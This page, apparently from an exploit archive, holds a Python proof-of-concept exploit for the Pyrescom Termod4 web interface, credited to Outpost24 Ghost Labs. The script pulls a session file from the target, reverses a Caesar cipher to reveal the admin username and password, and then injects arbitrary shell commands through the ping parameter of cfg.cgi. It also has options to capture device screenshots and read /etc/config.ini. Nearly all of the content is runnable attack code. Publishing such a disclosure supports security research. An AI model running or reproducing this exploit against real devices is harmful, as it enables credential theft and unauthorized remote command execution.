4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Pyrescom-poc.py PY
#!/usr/local/bin/python3
import requests, argparse, sys, urllib
from datetime import datetime
from bs4 import BeautifulSoup
from urllib.request import urlopen

## Parsing arguments
parser = argparse.ArgumentParser(description='Proof of concept exploit for Pyrescom Termod4 web interface. By Outpost24 Ghost Labs\' JM & vdT (@HugovdToorn)')
parser.add_argument('target', type=str.lower, help='Your target URL.')
parser.add_argument('command', nargs='?', default=False, help='Command if you want to attempt RCE.')
parser.add_argument('-s', '--screenshot', help='Show Termod4 interface.', action='store_true')
parser.add_argument('-c', '--config', help='Show Termod4 settings /etc/config.ini.', action='store_true')
parser.add_argument('-v', '--verbose', help='Increase output verbosity.', action='store_true')
args = parser.parse_args()

## Variables
verbose    	= (True if args.verbose else False)
screenshot	= (True if args.screenshot else False)
config		= (True if args.config else False)
target 		= args.target
command 	= args.command

# Text colour
cdef="\033[39m"
cred="\033[31m"
cgreen="\033[32m"
cyellow="\033[33m"
cblue="\033[34m"

# Formatting
fbold="\033[1m"
fdim="\033[2m"
funderline="\033[4m"
fblink="\033[5m"
freverse="\033[7m"
fhidden="\033[8m"

# Resets
res="\033[0m"
resbold="\033[21m"
resdim="\033[22m"
resunderline="\033[24m"
resblink="\033[25m"
resreverse="\033[27m"
reshidden="\033[28m"

# Feedback elements
pos=cgreen+fbold+"[+] "+res
neg=cred+fbold+"[-] "+res
war=cyellow+fbold+"[!] "+res
inf=cblue+fbold+"[i] "+res

def decryptPass(text,s):
	# Kudo's to Tutorialspont for inspiration on a litteral shift instead a-z.
	# https://www.tutorialspoint.com/cryptography_with_python/cryptography_with_python_caesar_cipher.htm
	result = ""
	# transverse the plain text
	for i in range(len(text)):
		char = text[i]
		# Encrypt uppercase characters in plain text
		if (char.isupper()):
			result += chr((ord(char) + s-65) % 26 + 65)
		# Encrypt lowercase characters in plain text
		else:
			result += chr((ord(char) + s - 97) % 26 + 97)
	return result

def getPass():
	# Here resides the flaw, 'encrypted' credentials are stored in /sessions.txt
	print(pos+'Requesting \'encrypted\' data form target.')
	try:
		session = requests.get(target+'/session.txt')
		content = str.split(session.text)
	except Exception as e:
		print(neg+'Could not read content, check connection or target URL.\n    Remove any trailing slashes and ensure to add \'http(s)://\'.')
		print(neg+'Reason:',e)
		sys.exit(1)
	if verbose: print(inf+'Read following values:', content)
	print(pos+'Got encrypted values from session file.\n')

	# Decoding is simple, Ceasar cipher -3....
	print(pos+'Attempting to decrypt values.')
	try:
		encusr = content[0]
		encpwd = content[1]
		username = decryptPass(encusr,-3)
		password = decryptPass(encpwd,-3)
	except Exception as e:
		print(neg+'Could not decode values, no creds no fun.\n')
		print(neg+'Reason:',e)
		sys.exit(1)
	print(war+'Username:',username)
	print(war+'Password:',password)
	print(pos+'Obtained plain credentials!\n')
	return username, password, encusr, encpwd

def execRCE(auth,cmd):
	print(pos+'Attempting RCE.')
	if verbose: print(inf+'RCE command:',command)
	try:
		if " " in cmd:
			cmd = "{"+cmd.replace(" ",",").replace("/","/")+"}" # Nothing
			print(inf+"Using URL-encoded command: "+cmd)
		path = target + '/cgi-bin/cfg.cgi?fonction=160&LANGUE=EN&ping=127;' + cmd + '&visu=0' + auth
		resultpath = target + '/cgi-bin/cfg.cgi?fonction=160&LANGUE=EN&visu=1' + auth

		if verbose: print(inf+'Attacking: ' + path)
		if verbose: print(inf+'Expecting results in: ' + path)

		response = urlopen(path)
		res=requests.get(resultpath)
		soup=BeautifulSoup(res.content,"html.parser")
		output = soup.find_all("td", "log")
		print(war+'Command output:')
		for td in output:
			content = td.contents[0].strip()
			if content == "Ping impossible":
				print(neg+'RCE command could not be executed. Escaping is weird, sorry :(')
				break
			else:
				print('\t'+content)
		print(pos+'RCE complete.\n')

	except Exception as e:
		print(neg+'Could not execute command, whups:', e)

def takeScreenshot(auth):
	print(pos+'Attempting to screenshot target device.')
	#Path is requested to generate new screenshot, then latest screenshot is downloaded from resultpath.
	path = target+'/cgi-bin/cfg.cgi?fonction=221&LANGUE=EN' + auth
	resultpath = target + '/cgi-bin/screenshot.png'
	img = str(datetime.now())+'-Pyrescom.png'

	if verbose: print(inf+'Requesting generation of new screenshot: ' + path)
	genpic = requests.get(path)
	if genpic.status_code == 200:
		print(pos+'Pyrescom device created new screenshot!')
	else:
		print(war+'Could not generate new screenshot, image might be dated!')

	if verbose: print(inf+'Attempting to fetch latest screenshot: ' + resultpath)
	getpic = requests.get(resultpath)
	if getpic.status_code == 200:
		with open(img, 'wb') as f:
			f.write(getpic.content)
		print(pos+'Got image, stored as: ' + img + '.\n')
	else:
		print(neg+'Something went wrong when fetching the screenshot.\n')

def main():
	print(banner())
	username, password, encusr, encpwd = getPass()
	# Auth string below is required to execute commands/functions.
	auth = '&login='+encusr+'&password='+encpwd

	if command:
		execRCE(auth, command)

	if screenshot:
		takeScreenshot(auth)

	if config:
		execRCE(auth, 'cat /etc/config.ini')

	print(pos+'All done.')

def banner():
	banner = str(cblue + """
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXK0OkkkkOKXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXKOxdooooooooodx0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXc      cXXXXl;lXXXXXXXXXXXX0dooooooooooooooood0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
kc  .''''.  ckX. .XXXXXXXXXXXxooooooooooooooooooooxXXXXXXXXXXXXXXXXO  oXXXXXXXXX
;  o0XXXX0o  :X. .0000000KXXkoooooooook0xooooooooooxXXK000000000K00x  c00XXXXXXX
;  0XXXXXXXXXXX.         .:0oo   oooo    oooooooooooxc.         '.       KXXXXXX
;  0XXXXOxxxxOX. .000000c. 'ooo   ox    xoooooooooo;   '00000000000d  c00XXXXXXX
;  0XXXX'    ;X. .XXXXXXXx  oooo oooo  ooooooooooooc,  .,,,,,,OXXXXk  lXXXXXXXXX
;  0XXXXXX0  ;X. .XXXXXXXx  ;ooooooooooooooooooooooooo,;;;;;,  'dXXk  lXXXXXXXXX
c. .oOOOOOx  ;X. .XXXXXXXx  ckooooooooooooooooooooolcccoOOOOd   ,XXO.  ,OXXXXXXX
X0l          ;X. .XXXXxood  lXKxooooooooooooooooooo;          :kXXXXXo.  KXXXXXX
XXXXXXXXXXXXXXXXXXXXXX,  KXXXXXXKOdoooooooooooooooo. :XXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXX,  KXXXXXXXXXKOxooooookK00OOd  :XXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXX,  KXXXXXXXXXXXK  ..''  lOXXk          .dXXXXkc          o
XXXXXXXXXXXXXXXXXXXXXX,  KXXXXXXXXXXXXxxxxxxl  .;Xk  ,xxxxxx.  .kX,   oxxxxxxxx0
XXXXXXXXXXXXXXXXXXXXXX,  KXXXXXXXXXXXXcccccccc  .Xk  :XXXXXXXo  xXl.  :cccccoXXX
XXXXXXXXXXXXXXXXXXXXXX,  KXXXXXXXXXOc. .......  .Xk  :XXXXXXXo  xXXKx....... .o0
XXXXXXXXXXXXXXXXXXXXXX,  0KKKKKKKKK,   lKKKKKK  .Xk  :KKKKKKc.  xXKKKKKKKKK:   c
XX """ + cred + fblink + fbold + """<3 JM & vdT """ + res + cblue + """ XXXXXXXX,            dk;          .Xk          .;XXX.          | 
XXXXXXXXXXXXXXXXXXXXXXxllllllllllllOXXlllllllllldX0llllllllllxXXXXollllllllldXXX""" + res)
	return banner

if __name__ == '__main__':
	main()